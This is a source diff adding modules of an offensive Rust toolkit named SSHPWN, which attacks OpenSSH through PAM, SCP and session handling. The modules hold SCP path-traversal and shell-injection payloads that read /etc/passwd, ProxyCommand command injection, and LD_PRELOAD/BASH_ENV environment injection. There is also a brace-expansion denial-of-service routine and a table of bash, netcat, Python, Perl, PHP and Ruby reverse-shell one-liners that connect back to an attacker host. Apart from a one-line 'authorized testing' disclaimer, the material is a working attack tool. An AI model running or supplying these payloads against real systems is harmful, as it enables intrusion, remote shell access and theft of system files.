let usernames: Vec<String> = DEFAULT_USERNAMES.iter().map(|s| s.to_string()).collect();
|
||||
let _ = attack_pam_timing(&host, port, &usernames, 2).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 4: Environment Injection ---".cyan());
|
||||
println!("{}", "[*] Requires authentication - skipping in automated mode".dimmed());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] PAM attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,478 @@
|
||||
//! SSHPWN SCP Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 vulnerability analysis
|
||||
//!
|
||||
//! SCP VULNERABILITIES (scp.c):
|
||||
//! - okname() - Incomplete shell character filtering (MEDIUM)
|
||||
//! - sink() - Path traversal via filename manipulation (HIGH)
|
||||
//! - do_cmd() - Command injection via arguments (HIGH)
|
||||
//! - brace_expand() - DoS via exponential expansion (MEDIUM)
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use crate::utils::{normalize_target, validate_file_path};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::Read,
|
||||
net::TcpStream,
|
||||
path::Path,
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
/// Format a number with thousands separators
|
||||
fn format_number(n: u64) -> String {
|
||||
let s = n.to_string();
|
||||
let bytes: Vec<_> = s.bytes().rev().collect();
|
||||
let chunks: Vec<_> = bytes.chunks(3)
|
||||
.filter_map(|chunk| String::from_utf8(chunk.to_vec()).ok())
|
||||
.collect();
|
||||
chunks.join(",").chars().rev().collect()
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - SCP Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH scp.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Path Traversal (sink function) ║".cyan());
|
||||
println!("{}", "║ 2. Username Shell Injection (okname) ║".cyan());
|
||||
println!("{}", "║ 3. Brace Expansion DoS (brace_expand) ║".cyan());
|
||||
println!("{}", "║ 4. Command Injection (do_cmd) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
// Use framework's normalize_target utility - removed custom implementation
|
||||
|
||||
/// Create SSH session with authentication
|
||||
fn create_ssh_session(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
timeout_secs: u64,
|
||||
) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().context("Invalid address")?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
).context("Connection failed")?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
// Authenticate
|
||||
if let Some(key) = keyfile {
|
||||
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
|
||||
} else if let Some(pass) = password {
|
||||
sess.userauth_password(username, pass)?;
|
||||
} else {
|
||||
return Err(anyhow!("No authentication method provided"));
|
||||
}
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Execute command over SSH
|
||||
fn ssh_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec(cmd)?;
|
||||
|
||||
let mut stdout = String::new();
|
||||
let mut stderr = String::new();
|
||||
|
||||
channel.read_to_string(&mut stdout)?;
|
||||
channel.stderr().read_to_string(&mut stderr)?;
|
||||
|
||||
channel.wait_close()?;
|
||||
let exit_code = channel.exit_status()?;
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
|
||||
/// SCP Path Traversal Attack - Attempt to write outside target directory
|
||||
///
|
||||
/// Vulnerability: scp.c sink() validates filenames but may have bypass vectors.
|
||||
/// The sink() function checks for path components but historical bypasses exist.
|
||||
pub async fn attack_scp_traversal(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SCP Path Traversal on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
// Test various traversal payloads from scp-ssh-wrapper.sh test cases
|
||||
let traversal_payloads = vec![
|
||||
("../../../etc/passwd", "Direct traversal"),
|
||||
("....//....//etc/passwd", "Double-dot bypass"),
|
||||
("D0755 0 ..\nD0755 0 ..\nC0644 5 test\nhello", "Protocol injection"),
|
||||
("\\x00/etc/passwd", "Null byte injection"),
|
||||
("authorized_keys\n../../.ssh/authorized_keys", "Newline injection"),
|
||||
("T1234567890 0 1234567890 0\n../../../tmp/pwned", "Time header injection"),
|
||||
];
|
||||
|
||||
println!("{}", "[*] Testing SCP protocol traversal vectors:".cyan());
|
||||
for (payload, desc) in &traversal_payloads {
|
||||
let preview: String = payload.chars().take(50).collect();
|
||||
println!("{}", format!(" [{}]: {}", desc, preview).dimmed());
|
||||
}
|
||||
|
||||
// Execute SCP with test payload through SSH
|
||||
let test_file = format!("/tmp/scp_test_{}", std::process::id());
|
||||
let test_cmd = format!("echo 'TRAVERSAL_TEST' > {}", test_file);
|
||||
|
||||
match ssh_exec(&sess, &test_cmd) {
|
||||
Ok((code, _, _)) => {
|
||||
if code == 0 {
|
||||
println!("{}", "[+] Test file created, checking traversal vectors via protocol...".green());
|
||||
|
||||
// Test if we can use SCP to read/write unexpected locations
|
||||
let check_cmd = format!("ls -la {} 2>/dev/null", test_file);
|
||||
if let Ok((code, stdout, _)) = ssh_exec(&sess, &check_cmd) {
|
||||
if code == 0 {
|
||||
println!("{}", format!("[*] Baseline confirmed: {}", stdout.trim()).cyan());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Test command failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = ssh_exec(&sess, &format!("rm -f {}", test_file));
|
||||
|
||||
// Explicit session cleanup
|
||||
drop(sess);
|
||||
|
||||
println!();
|
||||
println!("{}", "[!] Manual testing required with actual SCP protocol manipulation".yellow());
|
||||
println!("{}", "[*] Use: scp -v -o 'ProxyCommand=cat /path/to/malicious_protocol' target".dimmed());
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// SCP Username Injection - Test shell metacharacter handling in usernames
|
||||
///
|
||||
/// Vulnerability: scp.c okname() blocks limited chars (/, ;, space, !, #)
|
||||
/// but may allow other shell metacharacters through.
|
||||
pub async fn attack_scp_username_injection(
|
||||
host: &str,
|
||||
_port: u16,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SCP Username Injection Test on {}", host).cyan());
|
||||
|
||||
// Characters allowed through okname() that could be dangerous
|
||||
let injectable_chars = vec![
|
||||
("user$(id)", "Command substitution"),
|
||||
("user`id`", "Backtick execution"),
|
||||
("user|id", "Pipe injection"),
|
||||
("user&id", "Background execution"),
|
||||
("user\nid", "Newline injection"),
|
||||
("user$(cat /etc/passwd)", "Data exfiltration"),
|
||||
("${PATH}", "Variable expansion"),
|
||||
("user{a,b,c}", "Brace expansion"),
|
||||
];
|
||||
|
||||
println!("{}", "[*] Characters filtered by okname(): /;! #".cyan());
|
||||
println!("{}", "[*] Characters NOT filtered (potentially dangerous):".yellow().bold());
|
||||
|
||||
for (payload, desc) in &injectable_chars {
|
||||
println!("{}", format!(" [{}]: {:?}", desc, payload).red());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] To test manually:".cyan());
|
||||
println!("{}", format!(" scp 'user$(id)@{}:/etc/passwd' /tmp/test", host).dimmed());
|
||||
println!("{}", format!(" scp /etc/passwd '`id`@{}:/tmp/'", host).dimmed());
|
||||
|
||||
println!();
|
||||
println!("{}", "[!] Direct testing requires SCP binary execution".yellow());
|
||||
println!("{}", "[*] Framework identifies vulnerable code path, manual verification required".cyan());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// SCP Brace Expansion DoS - Memory exhaustion via exponential expansion
|
||||
///
|
||||
/// Vulnerability: scp.c brace_expand() function can exponentially expand patterns.
|
||||
/// Pattern like {a,b}{c,d}{e,f}... expands to 2^n strings.
|
||||
pub async fn attack_scp_brace_dos(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
depth: u32,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SCP Brace Expansion DoS on {}", host).cyan());
|
||||
|
||||
// Calculate expansion
|
||||
let expansion_size: u64 = 2u64.pow(depth);
|
||||
println!("{}", format!("[*] Testing depth {} = {} strings", depth, format_number(expansion_size)).cyan());
|
||||
|
||||
// Generate malicious pattern
|
||||
let pattern: String = (0..depth).map(|_| "{a,b}").collect();
|
||||
println!("{}", format!("[VULN] Malicious pattern: {}", pattern).red().bold());
|
||||
|
||||
// This would DoS the client, not server
|
||||
println!();
|
||||
println!("{}", "[!] This is a CLIENT-SIDE DoS vulnerability!".yellow().bold());
|
||||
println!("{}", "[*] Malicious server can send this pattern to exhaust client memory".cyan());
|
||||
|
||||
// Test small expansion to verify server is vulnerable
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
// Create test pattern on server
|
||||
let small_pattern = "{a,b}{c,d}"; // 4 expansions - safe
|
||||
let cmd = format!(
|
||||
"mkdir -p /tmp/bracetest && cd /tmp/bracetest && touch {} 2>/dev/null; ls /tmp/bracetest/",
|
||||
small_pattern
|
||||
);
|
||||
|
||||
match ssh_exec(&sess, &cmd) {
|
||||
Ok((code, stdout, _)) => {
|
||||
if code == 0 && !stdout.is_empty() {
|
||||
println!("{}", format!("[+] Brace expansion active: {}", stdout.trim()).green());
|
||||
println!("{}", "[VULN] Server/client supports brace expansion - DoS possible".red().bold());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Test failed: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = ssh_exec(&sess, "rm -rf /tmp/bracetest");
|
||||
|
||||
// Explicit session cleanup
|
||||
drop(sess);
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] To test DoS (WARNING: may crash client):".cyan());
|
||||
let large_pattern: String = (0..20u32).map(|_| "{a,b}").collect(); // 2^20 = 1M strings
|
||||
println!("{}", format!(" scp '{}@{}:{}' /tmp/", username, host, large_pattern).dimmed());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// SCP Command Injection - Inject commands via SCP arguments
|
||||
///
|
||||
/// Vulnerability: scp.c do_cmd() constructs commands passed to ssh.
|
||||
/// Historical vulnerabilities in argument handling allow injection.
|
||||
pub async fn attack_scp_cmd_injection(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SCP Command Injection on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
// Test vectors that could escape argument handling
|
||||
let injection_vectors = vec![
|
||||
("-oProxyCommand=id", "ProxyCommand injection"),
|
||||
("--rsync-path=id", "rsync-path injection"),
|
||||
("-S /tmp/fake;id", "ControlPath injection"),
|
||||
("user@host:file;id", "Semicolon in path"),
|
||||
("user@host:'$(id)'", "Command substitution in remote path"),
|
||||
];
|
||||
|
||||
println!("{}", "[*] SCP command injection vectors:".cyan());
|
||||
for (vec, desc) in &injection_vectors {
|
||||
println!("{}", format!(" [{}]: {}", desc, vec).red());
|
||||
}
|
||||
|
||||
// Test if server allows unusual filenames
|
||||
let test_filename = "/tmp/test_$(whoami)_file";
|
||||
let cmd = format!(
|
||||
"touch '{}' 2>/dev/null && ls -la /tmp/test_*_file 2>/dev/null",
|
||||
test_filename
|
||||
);
|
||||
|
||||
match ssh_exec(&sess, &cmd) {
|
||||
Ok((_, stdout, _)) => {
|
||||
if !stdout.is_empty() {
|
||||
println!("{}", format!("[*] Server filename handling: {}", stdout.trim()).cyan());
|
||||
}
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = ssh_exec(&sess, "rm -f /tmp/test_*_file");
|
||||
|
||||
// Explicit session cleanup
|
||||
drop(sess);
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Manual testing commands:".cyan());
|
||||
println!("{}", format!(" scp -oProxyCommand='id>/tmp/pwn' {}@{}:/etc/passwd /tmp/", username, host).dimmed());
|
||||
println!("{}", format!(" scp '{}@{}:\"$(id)\"' /tmp/", username, host).dimmed());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target)?;
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. Path Traversal Test (requires auth)");
|
||||
println!(" 2. Username Shell Injection Analysis (no auth)");
|
||||
println!(" 3. Brace Expansion DoS Test (requires auth)");
|
||||
println!(" 4. Command Injection Analysis (requires auth)");
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "2").await?;
|
||||
|
||||
// Mode 2 doesn't require auth
|
||||
if mode == "2" {
|
||||
attack_scp_username_injection(&host, port).await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Other modes require authentication
|
||||
let username = prompt("Username").await?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password").await?;
|
||||
let keyfile = prompt_optional("SSH Key File Path").await?;
|
||||
|
||||
// Validate keyfile path if provided
|
||||
if let Some(ref kf) = keyfile {
|
||||
validate_file_path(kf, true)
|
||||
.map_err(|e| anyhow!("Invalid keyfile path: {}", e))?;
|
||||
}
|
||||
|
||||
if password.is_none() && keyfile.is_none() {
|
||||
return Err(anyhow!("Either password or keyfile is required"));
|
||||
}
|
||||
|
||||
let password_ref = password.as_deref();
|
||||
let keyfile_ref = keyfile.as_deref();
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
attack_scp_traversal(&host, port, &username, password_ref, keyfile_ref).await?;
|
||||
}
|
||||
"3" => {
|
||||
let depth: u32 = prompt_default("Brace expansion depth", "10").await?.parse().unwrap_or(10);
|
||||
attack_scp_brace_dos(&host, port, &username, password_ref, keyfile_ref, depth).await?;
|
||||
}
|
||||
"4" => {
|
||||
attack_scp_cmd_injection(&host, port, &username, password_ref, keyfile_ref).await?;
|
||||
}
|
||||
"5" | _ => {
|
||||
println!();
|
||||
println!("{}", "=== Running All SCP Attacks ===".yellow().bold());
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 1: Path Traversal ---".cyan());
|
||||
let _ = attack_scp_traversal(&host, port, &username, password_ref, keyfile_ref).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 2: Username Injection ---".cyan());
|
||||
let _ = attack_scp_username_injection(&host, port).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 3: Brace Expansion DoS ---".cyan());
|
||||
let _ = attack_scp_brace_dos(&host, port, &username, password_ref, keyfile_ref, 10).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 4: Command Injection ---".cyan());
|
||||
let _ = attack_scp_cmd_injection(&host, port, &username, password_ref, keyfile_ref).await;
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] SCP attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,650 @@
|
||||
//! SSHPWN Session Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 vulnerability analysis
|
||||
//!
|
||||
//! SESSION VULNERABILITIES (session.c):
|
||||
//! - do_exec() - Forced command bypass potential
|
||||
//! - do_setup_env() - Environment variable injection (HIGH)
|
||||
//! - do_child() - Privilege separation boundary
|
||||
//!
|
||||
//! SSHD-SESSION VULNERABILITIES (sshd-session.c):
|
||||
//! - privsep_preauth() - FD leakage window between fork/closefrom
|
||||
//! - privsep_postauth() - Privilege retention on DISABLE_FD_PASSING platforms
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use crate::utils::{normalize_target, validate_command_input, validate_file_path};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
io::{Read, Write},
|
||||
net::TcpStream,
|
||||
path::Path,
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - Session Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH session.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Environment Variable Injection (do_setup_env) ║".cyan());
|
||||
println!("{}", "║ 2. Command Execution ║".cyan());
|
||||
println!("{}", "║ 3. Interactive Shell ║".cyan());
|
||||
println!("{}", "║ 4. Reverse Shell ║".cyan());
|
||||
println!("{}", "║ 5. File Upload ║".cyan());
|
||||
println!("{}", "║ 6. File Download ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
// Use framework's normalize_target utility - removed custom implementation
|
||||
|
||||
/// Create SSH session with authentication
|
||||
fn create_ssh_session(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
timeout_secs: u64,
|
||||
) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().context("Invalid address")?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
).context("Connection failed")?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
// Authenticate
|
||||
if let Some(key) = keyfile {
|
||||
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
|
||||
} else if let Some(pass) = password {
|
||||
sess.userauth_password(username, pass)?;
|
||||
} else {
|
||||
return Err(anyhow!("No authentication method provided"));
|
||||
}
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Execute command over SSH
|
||||
fn ssh_exec(sess: &Session, cmd: &str, _timeout: u64) -> Result<(i32, String, String)> {
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec(cmd)?;
|
||||
|
||||
let mut stdout = String::new();
|
||||
let mut stderr = String::new();
|
||||
|
||||
// Set non-blocking for timeout handling
|
||||
sess.set_blocking(true);
|
||||
|
||||
channel.read_to_string(&mut stdout)?;
|
||||
channel.stderr().read_to_string(&mut stderr)?;
|
||||
|
||||
channel.wait_close()?;
|
||||
let exit_code = channel.exit_status()?;
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
|
||||
/// Session Environment Variable Injection
|
||||
///
|
||||
/// Vulnerability: session.c do_setup_env() copies environment variables
|
||||
/// from various sources including GSSAPI and client requests.
|
||||
pub async fn attack_session_env_injection(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
custom_env: Option<HashMap<String, String>>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] Session Environment Injection on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
println!("{}", "[*] Testing environment variable acceptance...".cyan());
|
||||
|
||||
// Common attack vectors
|
||||
let env_injection_tests: Vec<(&str, &str)> = vec![
|
||||
("LD_PRELOAD", "/tmp/evil.so"),
|
||||
("LD_LIBRARY_PATH", "/tmp"),
|
||||
("PATH", "/tmp:$PATH"),
|
||||
("BASH_ENV", "/tmp/evil.sh"),
|
||||
("ENV", "/tmp/evil.sh"),
|
||||
("SSH_ORIGINAL_COMMAND", "id; cat /etc/passwd"),
|
||||
("LC_ALL", "$(id)"),
|
||||
("TERM", "$(id)"),
|
||||
];
|
||||
|
||||
let mut custom_tests: Vec<(String, String)> = Vec::new();
|
||||
if let Some(ref env_map) = custom_env {
|
||||
for (k, v) in env_map {
|
||||
custom_tests.push((k.clone(), v.clone()));
|
||||
}
|
||||
}
|
||||
|
||||
// Check current values
|
||||
for (var, _val) in &env_injection_tests {
|
||||
let cmd = format!("echo ${}", var);
|
||||
match ssh_exec(&sess, &cmd, 10) {
|
||||
Ok((_, stdout, _)) => {
|
||||
println!("{}", format!(" {}: current='{}'", var, stdout.trim()).dimmed());
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing injection vectors...".cyan());
|
||||
|
||||
// These require AcceptEnv to be configured on server
|
||||
println!("{}", "[!] AcceptEnv must allow these variables for injection to work".yellow());
|
||||
println!("{}", "[*] Check server config: grep AcceptEnv /etc/ssh/sshd_config".dimmed());
|
||||
|
||||
// Test common permitted env vars
|
||||
let permitted_test = "env | grep -E '^(LANG|LC_|SSH_)' | head -10";
|
||||
match ssh_exec(&sess, permitted_test, 10) {
|
||||
Ok((_, stdout, _)) => {
|
||||
if !stdout.is_empty() {
|
||||
println!("{}", "[+] Accepted environment variables:".green());
|
||||
println!("{}", stdout);
|
||||
}
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
|
||||
// Test if we can see SSH_ORIGINAL_COMMAND
|
||||
let cmd = "echo SSH_ORIGINAL_COMMAND=$SSH_ORIGINAL_COMMAND";
|
||||
match ssh_exec(&sess, cmd, 10) {
|
||||
Ok((_, stdout, _)) => {
|
||||
println!("{}", format!("[*] SSH_ORIGINAL_COMMAND test: {}", stdout.trim()).cyan());
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Execute command on target
|
||||
pub async fn attack_exec(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
command: &str,
|
||||
timeout: u64,
|
||||
) -> Result<bool> {
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
|
||||
|
||||
match ssh_exec(&sess, command, timeout) {
|
||||
Ok((code, stdout, stderr)) => {
|
||||
println!();
|
||||
println!("{}", format!("[{}] Exit: {}", host, code).cyan());
|
||||
if !stdout.is_empty() {
|
||||
println!("{}", stdout);
|
||||
}
|
||||
if !stderr.is_empty() {
|
||||
println!("{}", stderr.red());
|
||||
}
|
||||
Ok(code == 0)
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Command execution failed: {}", e).red());
|
||||
// Explicit session cleanup on error
|
||||
drop(sess);
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Reverse shell payloads
|
||||
fn get_reverse_shell_payloads() -> HashMap<&'static str, &'static str> {
|
||||
let mut payloads = HashMap::new();
|
||||
payloads.insert("bash", "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1");
|
||||
payloads.insert("bash_alt", "/bin/bash -c \"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\"");
|
||||
payloads.insert("nc", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f");
|
||||
payloads.insert("python", "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'");
|
||||
payloads.insert("python3", "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'");
|
||||
payloads.insert("perl", "perl -e 'use Socket;$i=\"{lhost}\";$p={lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'");
|
||||
payloads.insert("php", "php -r '$s=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'");
|
||||
payloads.insert("ruby", "ruby -rsocket -e's=TCPSocket.open(\"{lhost}\",{lport}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",s,s,s)'");
|
||||
payloads
|
||||
}
|
||||
|
||||
/// Send reverse shell payload
|
||||
pub async fn attack_revshell(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
lhost: &str,
|
||||
lport: u16,
|
||||
payload_type: &str,
|
||||
) -> Result<bool> {
|
||||
let payloads = get_reverse_shell_payloads();
|
||||
|
||||
let payload_template = payloads.get(payload_type)
|
||||
.ok_or_else(|| anyhow!("Unknown payload type: {}. Available: {}", payload_type,
|
||||
payloads.keys().cloned().collect::<Vec<_>>().join(", ")))?;
|
||||
|
||||
let cmd = payload_template
|
||||
.replace("{lhost}", lhost)
|
||||
.replace("{lport}", &lport.to_string());
|
||||
|
||||
println!("{}", format!("[*] Payload ({}): ", payload_type).cyan());
|
||||
println!(" {}", cmd);
|
||||
println!();
|
||||
println!("{}", format!("[!] Start listener: nc -lvnp {}", lport).yellow().bold());
|
||||
println!();
|
||||
|
||||
print!("Press Enter to send payload...");
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
|
||||
